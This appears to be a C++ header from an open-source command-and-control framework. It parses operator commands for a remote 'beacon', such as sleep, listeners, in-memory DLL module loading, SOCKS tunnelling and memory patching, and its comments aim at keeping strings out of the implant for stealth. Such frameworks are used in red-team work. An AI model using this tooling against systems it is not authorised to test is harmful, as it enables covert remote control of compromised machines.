mirror of
https://github.com/maxDcb/C2Core
synced 2026-06-08 15:48:01 +00:00
kali
367 lines
8.3 KiB
C++
367 lines
8.3 KiB
C++
#pragma once
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#include <string>
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#include <vector>
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#include <random>
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#include "ModuleCmd.hpp"
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// TODO replace by number to avoid string in the binary
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const std::string HelpCmd = "help";
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const std::string SleepCmd = "sleep";
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const std::string EndCmd = "end";
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const std::string ListenerCmd = "listener";
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const std::string ListenerPollCmd = "listenerPoll";
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const std::string LoadC2ModuleCmd = "loadModule";
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const std::string UnloadC2ModuleCmd = "unloadModule";
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const std::string Socks5Cmd = "socks";
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const std::string GetInfoCmd = "getInfo";
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const std::string PatchMemoryCmd = "patchMemory";
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const std::string StartCmd = "start";
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const std::string StopCmd = "stop";
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const std::string CmdStatusSuccess = "Success";
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const std::string CmdStatusFail = "Fail";
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#if defined(BUILD_TEAMSERVER) || defined(BUILD_TESTS)
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const std::string ModulesDirectoryFromTeamServer = "../Modules/";
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#endif
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class CommonCommands
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{
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public:
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CommonCommands()
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{
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m_commonCommands.push_back(SleepCmd);
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m_commonCommands.push_back(EndCmd);
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m_commonCommands.push_back(ListenerCmd);
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m_commonCommands.push_back(LoadC2ModuleCmd);
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m_commonCommands.push_back(UnloadC2ModuleCmd);
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m_commonCommands.push_back(Socks5Cmd);
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m_commonCommands.push_back(GetInfoCmd);
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m_commonCommands.push_back(PatchMemoryCmd);
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}
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int getNumberOfCommand()
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{
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return m_commonCommands.size();
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}
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std::string getCommand(int idx)
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{
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if(idx<m_commonCommands.size())
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return m_commonCommands[idx];
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else
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return "";
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}
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std::string getHelp(std::string cmd)
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{
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// OPSEC remove getHelp and getInfo strings from the beacon compilation
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std::string output;
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#ifdef BUILD_TEAMSERVER
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if(cmd==SleepCmd)
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{
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output = "sleep: \n";
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output += "Set the sleep time in sec for the beacon.\n";
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output += "exemple:\n";
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output += " - sleep 1\n";
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}
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else if(cmd==EndCmd)
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{
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output = "end: \n";
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output += "Stop the beacon.\n";
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output += "exemple:\n";
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output += " - end\n";
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}
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else if(cmd==ListenerCmd)
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{
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output = "listener: \n";
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output += "Start a tcp or smb listener on the beacon.\n";
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output += "exemple:\n";
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output += " - listener start tcp 0.0.0.0 4444\n";
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output += " - listener start smb pipename\n";
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output += " - listener stop uAgXVQny0o1GVoIHf0Jaed4xl5lYpHKU\n";
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}
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else if(cmd==LoadC2ModuleCmd)
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{
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output = "loadModule: \n";
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output += "Load module DLL file on the memory of the beacon, giving the beacon this capability.\n";
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output += "Load the DLL from the given path, if it's not found try the default ../Modules/ path.";
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output += "exemple:\n";
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output += " - loadModule /tools/PrintWorkingDirectory.dll \n";
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}
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else if(cmd==UnloadC2ModuleCmd)
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{
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output = "unloadModule: \n";
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output += "Unload module DLL loaded by loadModule.\n";
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output += "exemple:\n";
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output += " - unloadModule assemblyExec \n";
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}
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else if(cmd==Socks5Cmd)
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{
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output = "socks: \n";
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output += "Start a socks5 server on the TeamServer and tunnel the traffic to the Beacon.\n";
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output += "The tunneling is done using the communication protocol of the beacon.\n";
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output += "Only one socks5 server can be opened at a time.\n";
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output += "exemple:\n";
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output += " - socks start 1080 \n";
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output += " - socks stop \n";
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}
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else if(cmd==GetInfoCmd)
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{
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output = "getInfo: \n";
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output += "TODO\n";
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}
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else if(cmd==PatchMemoryCmd)
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{
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output = "patchMemory: \n";
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output += "TODO\n";
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}
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#endif
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return output;
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}
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// if an error ocurre:
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// set_returnvalue(errorMsg) && return -1
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int init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
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{
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#if defined(BUILD_TEAMSERVER) || defined(BUILD_TESTS)
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std::string instruction = splitedCmd[0];
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//
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// Sleep
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//
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if(instruction==SleepCmd)
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{
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if(splitedCmd.size()==2)
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{
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float sleepTimeSec=5;
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try
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{
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sleepTimeSec = atof(splitedCmd[1].c_str());
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}
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catch (const std::invalid_argument& ia)
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{
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std::cerr << "Invalid argument: " << ia.what() << '\n';
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return -1;
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}
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c2Message.set_instruction(instruction);
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c2Message.set_cmd(std::to_string(sleepTimeSec));
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}
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else
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{
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std::string errorMsg = getHelp(instruction);
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c2Message.set_returnvalue(errorMsg);
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return -1;
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}
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}
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//
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// End
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//
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else if(instruction==EndCmd)
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{
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c2Message.set_instruction(instruction);
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c2Message.set_cmd("");
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}
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//
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// Listener
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//
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else if(instruction==ListenerCmd)
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{
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if(splitedCmd.size()>=3)
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{
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if(splitedCmd[1]==StartCmd && splitedCmd[2]=="tcp")
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{
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if(splitedCmd.size()>=5)
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{
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std::string host = splitedCmd[3];
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int port=-1;
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try
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{
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port = std::atoi(splitedCmd[4].c_str());
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}
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catch (const std::invalid_argument& ia)
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{
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std::cerr << "Invalid argument: " << ia.what() << '\n';
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return -1;
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}
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std::string cmd = splitedCmd[1];
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cmd+=" ";
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cmd+="tcp";
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cmd+=" ";
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cmd+=host;
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cmd+=" ";
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cmd+=std::to_string(port);
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c2Message.set_instruction(instruction);
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c2Message.set_cmd(cmd);
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}
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else
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{
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std::string errorMsg = "listener start: not enough arguments";
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c2Message.set_returnvalue(errorMsg);
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return -1;
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}
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}
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else if(splitedCmd[1]==StartCmd && splitedCmd[2]=="smb")
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{
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if(splitedCmd.size()>=4)
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{
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std::string pipeName = splitedCmd[3];
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std::string cmd = splitedCmd[1];
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cmd+=" ";
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cmd+="smb";
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cmd+=" ";
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cmd+=pipeName;
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c2Message.set_instruction(instruction);
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c2Message.set_cmd(cmd);
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}
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else
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{
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std::string errorMsg = "listener start: not enough arguments";
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c2Message.set_returnvalue(errorMsg);
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return -1;
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}
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}
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else if(splitedCmd[1]==StopCmd)
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{
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std::string hash = splitedCmd[2];
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std::string cmd = splitedCmd[1];
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cmd+=" ";
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cmd+=hash;
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c2Message.set_instruction(instruction);
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c2Message.set_cmd(cmd);
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}
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}
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else
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{
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std::string errorMsg = getHelp(instruction);
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c2Message.set_returnvalue(errorMsg);
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return -1;
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}
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}
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//
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// Load Memory Module
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//
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else if(instruction==LoadC2ModuleCmd)
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{
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if (splitedCmd.size() == 2)
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{
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std::string inputFile = splitedCmd[1];
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std::ifstream input;
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input.open(inputFile, std::ios::binary);
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if(!input)
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{
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std::string newInputFile = ModulesDirectoryFromTeamServer;
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newInputFile+=inputFile;
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input.open(newInputFile, std::ios::binary);
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}
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if( input )
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{
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std::string buffer(std::istreambuf_iterator<char>(input), {});
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c2Message.set_instruction(splitedCmd[0]);
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c2Message.set_inputfile(inputFile);
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c2Message.set_data(buffer.data(), buffer.size());
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}
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else
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{
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c2Message.set_returnvalue("Failed: Couldn't open file.");
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return -1;
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}
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}
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else
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{
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std::string errorMsg = getHelp(instruction);
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c2Message.set_returnvalue(errorMsg);
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return -1;
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}
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}
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else if(instruction==UnloadC2ModuleCmd)
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{
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if (splitedCmd.size() == 2)
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{
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std::string moduleName = splitedCmd[1];
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c2Message.set_instruction(splitedCmd[0]);
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c2Message.set_cmd(moduleName);
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}
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else
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{
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std::string errorMsg = getHelp(instruction);
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c2Message.set_returnvalue(errorMsg);
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return -1;
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}
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}
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//
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// Socks5
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//
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else if(instruction==Socks5Cmd)
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{
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if(splitedCmd.size()>=2)
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{
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if(splitedCmd[1]==StartCmd)
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{
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if(splitedCmd.size()>=3)
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{
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int port=-1;
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try
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{
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port = std::atoi(splitedCmd[2].c_str());
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}
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catch (const std::invalid_argument& ia)
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{
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std::cerr << "Invalid argument: " << ia.what() << '\n';
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return -1;
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}
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c2Message.set_instruction(instruction);
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c2Message.set_data(splitedCmd[2].data(), splitedCmd[2].size());
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c2Message.set_cmd(splitedCmd[1]);
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}
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else
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{
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std::string errorMsg = "socks start: not enough arguments";
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c2Message.set_returnvalue(errorMsg);
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return -1;
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}
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}
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else if(splitedCmd[1]==StopCmd)
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{
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c2Message.set_instruction(instruction);
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c2Message.set_cmd("stopSocks");
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}
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else
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{
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std::string errorMsg = getHelp(instruction);
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c2Message.set_returnvalue(errorMsg);
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return -1;
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}
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}
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else
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{
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std::string errorMsg = getHelp(instruction);
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c2Message.set_returnvalue(errorMsg);
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return -1;
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}
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}
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#endif
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return 0;
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}
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private:
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std::vector<std::string> m_commonCommands;
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};
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